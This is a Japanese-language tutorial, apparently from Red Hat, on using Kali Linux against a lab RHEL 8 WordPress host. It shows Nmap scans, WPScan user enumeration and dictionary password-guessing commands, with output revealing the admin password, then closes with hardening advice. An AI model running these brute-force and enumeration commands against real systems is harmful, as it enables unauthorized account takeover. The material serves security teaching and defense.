大規模な消費者企業の多数の広く公表された違反は、システムセキュリティ管理の決定的な重要性を強調しています。幸いなことに、コンピュータシステムのセキュリティ保護に役立つさまざまなアプリケーションがあります。 1つは、セキュリティと侵入テスト用に開発されたLinuxディストリビューションであるKaliです。この記事では、Kali Linuxを使用してシステムを調査し、弱点を見つける方法を示します。
Kaliは多くのツールをインストールしますが、それらはすべてオープンソースであり、デフォルトでインストールすると作業が簡単になります。
このチュートリアルで使用するシステムは次のとおりです。
-
kali.usersys.redhat.com
:これは、スキャンと攻撃を開始するシステムです。 30GBのメモリと6つの仮想化CPU(vCPU)があります。 -
vulnerable.usersys.redhat.com
:これは、ターゲットとなるRed Hat EnterpriseLinux8システムです。 16GBのメモリと6つのvCPUがあります。これは比較的最新のシステムですが、一部のパッケージは古くなっている可能性があります。 - このシステムには、
httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64
も含まれています。 、mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64
、tigervnc-server-1.9.0-15.el8_1.x86_64
、vsftpd-3.0.3-32.el8.x86_64
、およびWordPressバージョン5.6.1。
これらのタスクのいくつかは、特にWordPressセキュリティスキャナー(WPScan)を実行しているときのターゲットシステムのCPUにとって非常に厳しいため、上記のハードウェア仕様を含めました。
ターゲットシステムでの基本的なNmapスキャンから調査を開始しました。 (Linuxシステムの強化に役立つNmapの結果の使用を読むことで、Nmapをさらに深く掘り下げることができます。)Nmapスキャンは、Nmapスキャンを開始するシステムから表示されるポートとサービスの概要をすばやく取得する方法です。
このデフォルトのスキャンは、いくつかの興味深いオープンポートがあることを示しています。実際には、攻撃者がネットワークを侵害する方法になる可能性があるため、開いているポートはどれも興味深いものになる可能性があります。この例では、ポート21、22、80、および443は一般的に使用されるサービスであるため、スキャンに適しています。この初期段階では、私は単に偵察作業を行っており、ターゲットシステムに関するできるだけ多くの情報を取得しようとしています。
Nmapを使用してポート80を調査したいので、-p 80
を使用します。 ポート80と-A
を調べるための引数 オペレーティングシステムやアプリケーションのバージョンなどの情報を取得します。
この出力の重要な行のいくつかは次のとおりです。
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
これがWordPressサーバーであることがわかったので、WPScanを使用して潜在的な弱点に関する情報を取得できます。実行する良い調査は、いくつかのユーザー名を見つけようとすることです。 --enumerate u
を使用する WordPressインスタンスでユーザーを探すようにWPScanに指示します。例:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
これは、2人のユーザーがいることを示しています:admin
およびpgervase
。 admin
のパスワードを推測してみます パスワード辞書を使用します。これは、多くの可能なパスワードを含むテキストファイルです。私が使用した辞書は37Gで、3,543,076,137行ありました。
複数のテキストエディタ、Webブラウザ、および選択可能なその他のアプリケーションがあるように、パスワード攻撃を開始するために利用できる複数のツールがあります。 NmapとWPScanを使用した2つのコマンド例を次に示します。
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
このNmapスクリプトは、私が使用できた可能性のある多くのスクリプトの1つであり、WPScanを使用してURLをスキャンすることは、このツールが実行できる多くの可能なタスクの1つにすぎません。どちらを使用するかを決めることができます
このWPScanの例は、ファイルの最後にパスワードを示しています。
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
[SUCCESS] - admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02
末尾近くの[有効な組み合わせが見つかりました]セクションには、管理者のユーザー名とパスワードが含まれています。 3,231行を通過するのにたった2分しかかかりませんでした。
3,238,659,984の一意のエントリを含む別の辞書ファイルがありますが、これにははるかに時間がかかり、より多くの証拠が残ります。
Nmapを使用すると、結果がはるかに高速になります:
┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat - Valid credentials <<<<<<<
| pgervase:redhat - Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
ただし、このようなスキャンを実行すると、ターゲットシステムに大量のHTTPDログメッセージが残る可能性があります。
10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
最初のNmapスキャンで見つかったHTTPSサーバーに関する情報を取得するために、sslscan
を使用しました。 コマンド:
┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
これにより、有効なSSLプロトコルに関する情報と、出力のさらに下にあるHeartbleedの脆弱性に関する情報が表示されます。
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
その他のLinuxリソース
- Linuxコマンドのチートシート
- 高度なLinuxコマンドのチートシート
- 無料のオンラインコース:RHELの技術概要
- Linuxネットワーキングのチートシート
- SELinuxチートシート
- Linuxの一般的なコマンドのチートシート
- Linuxコンテナとは何ですか?
- 最新のLinux記事
そこにいる多数の攻撃者からシステムを守る方法はたくさんあります。重要なポイントは次のとおりです。
- システムを理解する: これには、開いているポート、開いているポート、開いているポートを表示できるユーザー、およびこれらのサービスで予想されるトラフィックを知ることが含まれます。 Nmapは、ネットワーク上のシステムについて学ぶための優れたツールです。
- 現在のベストプラクティスを使用する: 今日のベストプラクティスと見なされていることは、将来のベストプラクティスではない可能性があります。管理者として、infosecレルムのトレンドを常に把握しておくことが重要です。
- 製品の使用方法を知っている: たとえば、攻撃者がWordPressシステムを絶えず攻撃するのではなく、IPアドレスをブロックし、ブロックされる前にログインを試みることができる回数を制限します。攻撃者は侵害されたシステムを使用して攻撃を開始する可能性が高いため、IPアドレスをブロックすることは現実の世界ではそれほど役に立たない可能性があります。ただし、これは有効にするのが簡単な設定であり、一部の攻撃をブロックする可能性があります。
- 適切なバックアップを維持および検証する: 攻撃者が1つ以上のシステムを構成している場合、既知の適切でクリーンなバックアップから再構築できると、時間と費用を大幅に節約できます。
- ログを確認してください: 上記の例が示すように、スキャンコマンドと侵入コマンドは、攻撃者がシステムを標的にしていることを示す大量のログを残す可能性があります。それらに気付いた場合は、リスクを軽減するために先制措置を講じることができます。
- システム、そのアプリケーション、および追加のモジュールを更新します: NIST Special Publication 800-40r3が説明しているように、「パッチは通常、ソフトウェアの欠陥の脆弱性を軽減するための最も効果的な方法であり、多くの場合、完全に効果的な唯一のソリューションです。」
- ベンダーが提供するツールを使用します: ベンダーには、システムの保守に役立つさまざまなツールがあるため、それらを活用するようにしてください。たとえば、Red HatEnterpriseLinuxサブスクリプションに含まれているRedHatInsightsは、システムを調整し、潜在的なセキュリティの脅威を警告するのに役立ちます。
このセキュリティツールの概要とその使用方法は、氷山の一角にすぎません。さらに深く掘り下げるには、次のリソースを調べることをお勧めします。
- オープンソースの攻撃管理ツールであるArmitage
- RedHat製品セキュリティセンター
- RedHatセキュリティチャネル
- NISTのサイバーセキュリティページ
- Nmapの結果を使用してLinuxシステムを強化する